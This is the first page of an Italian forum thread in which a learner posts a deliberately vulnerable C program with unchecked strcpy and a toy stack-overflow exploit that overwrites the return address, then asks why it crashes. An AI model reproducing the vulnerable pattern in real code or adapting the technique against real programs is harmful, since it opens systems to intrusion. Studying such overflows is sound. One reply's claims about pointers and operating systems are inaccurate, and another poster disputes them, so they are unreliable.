Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - studio concetto di exploit
Forum - C/C++ - studio concetto di exploit

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
ElCobra91 (Normal User)
Newbie


Messaggi: 18
Iscritto: 22/08/2010

Segnala al moderatore
Postato alle 2:02
Venerdì, 20/05/2011
Ciao a tutti,per studio stavo cercando di capire come si comporta il computer durante un exploit.su internet ho trovato la guida semplice di  che spiega brevemente stack overflow .Volendomi addentrare di più nel concetto ho provato a seguire gli esempi.In pratica da una parte ho questo codice
prog1.c
Codice sorgente - presumibilmente C/C++

  1. function (){
  2. printf("Ci sei riuscito!!!!");
  3. exit(0);
  4. }
  5. main (int argc, char *argv[]) {
  6. char var[10];
  7. strcpy(var,argv[1]);
  8. }



e poi questo semplice codice che dovrebbe chiarirmi le idee dell'exploit
esempioexploit.c
Codice sorgente - presumibilmente C++

  1. int main (void)
  2. {
  3. char buf[31],lancia[35];
  4. int i;
  5. for (i=0; i<28; i++)
  6. {
  7. *(long *)&buf[i]=0x61;
  8. }
  9. *(long *)&buf[28]=0x00401294;
  10. strcpy(lancia,"prog1 ");
  11. strcat(lancia,buf);
  12. system(lancia);
  13. }


da quanto capito in pratica sfruttando l'overflow del primo posso far eseguire la funzione function.
e quindi da terminale digitando ./esempioexploit dovrebbe stampare "Ci sei riuscito".
Naturalmente chi ha scritto la guida ha specificato che con un buffer di 28 byte andava in overflow e tramite l'operazione di debugging ha disassemblato la function e letto quindi il suo indirizzo di memoria che è appunto 0x00401294. Ora io facendo un po di tentativi eseguendo prog1 da linea di comando e passando come argomento 196 volte la lettera A mi dice errore di segmentazione quindi suppongo che questa sarà la lunghezza del buffer che io devo usare.Quindo disassemblo la function copio l'indirizzo di memoria..in pratica al codice originale sostituisco i mie dati ma non mi torna nulla,cioè mi da  segmentation fault.vi posto il mio codice
Codice sorgente - presumibilmente C++

  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4.  
  5. int main (void)
  6. {
  7. char buf[199],lancia[205];
  8. int i;
  9. for (i=0; i<196; i++)
  10. {
  11. *(long *)&buf[i]=0x61;
  12.  
  13. }
  14.  
  15.   *(long *)&buf[195]=0x08048474;
  16.  
  17.  
  18. strcpy(lancia,"./prog1 ");
  19. strcat(lancia,buf);
  20. system(lancia);
  21. return 0;
  22. }


dove è che sbaglio?potete darmi delucidazioni per favore?grazie mille..

PM Quote
Avatar
ElCobra91 (Normal User)
Newbie


Messaggi: 18
Iscritto: 22/08/2010

Segnala al moderatore
Postato alle 2:04
Venerdì, 20/05/2011
cmq alla riga 15 il valore è...buf[196]..

PM Quote
Avatar
Pitagora (Member)
Expert


Messaggi: 367
Iscritto: 12/06/2010

Segnala al moderatore
Postato alle 7:35
Venerdì, 20/05/2011
Te lo spiego in parole povere. Tu programmatore non puoi gestire in un programma gli indirizzi di memoria. Questo compito viene assegnato ESPRESSAMENTE al computer. Ogni qual volta che si cerca di accere ad un indirizzo di memoria (diverso da quello dei puntatori assegnati, chiaramente) porterá un errore di segmentazione. Un altro esempio è il seguente:
Codice sorgente - presumibilmente C/C++

  1. int main ()
  2. {
  3.      int *addr = 0x2583813 // un indirizzo casuale
  4.      return 0;
  5. }


Come potrai intuire, il puntatore tenta di puntare ad un indirizzo da me asegnato. Questo porterá,  come avrai intuito, ad un errore di segmentazione.

Ultima modifica effettuata da Pitagora il 20/05/2011 alle 7:37
PM Quote
Avatar
ElCobra91 (Normal User)
Newbie


Messaggi: 18
Iscritto: 22/08/2010

Segnala al moderatore
Postato alle 10:12
Venerdì, 20/05/2011
Quindi come posso fare?nella guida lo spiega in quel modo..come mai a lui viene?

PM Quote
Avatar
ElCobra91 (Normal User)
Newbie


Messaggi: 18
Iscritto: 22/08/2010

Segnala al moderatore
Postato alle 12:15
Venerdì, 20/05/2011
È possibile che quello che ho scritto sia giusto ma per i controlli che esegue il sistema mi impepava di farlo?come posso avere il permesso di fare questa cosa?

PM Quote
Avatar
Pitagora (Member)
Expert


Messaggi: 367
Iscritto: 12/06/2010

Segnala al moderatore
Postato alle 13:11
Venerdì, 20/05/2011
Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose

PM Quote
Avatar
HeDo (Founder Member)
Guru^2


Messaggi: 2765
Iscritto: 21/09/2007

Segnala al moderatore
Postato alle 13:44
Venerdì, 20/05/2011
Testo quotato

Postato originariamente da Pitagora:

Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose



ma questo non è vero!

PM Quote
Avatar
Pitagora (Member)
Expert


Messaggi: 367
Iscritto: 12/06/2010

Segnala al moderatore
Postato alle 13:49
Venerdì, 20/05/2011
Testo quotato

Postato originariamente da HeDo:

Testo quotato

Postato originariamente da Pitagora:

Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose



ma questo non è vero!

Argomenta!

PM Quote
Avatar
ElCobra91 (Normal User)
Newbie


Messaggi: 18
Iscritto: 22/08/2010

Segnala al moderatore
Postato alle 18:11
Venerdì, 20/05/2011
Hedo potresti spiegarmi dv sbaglio?

PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo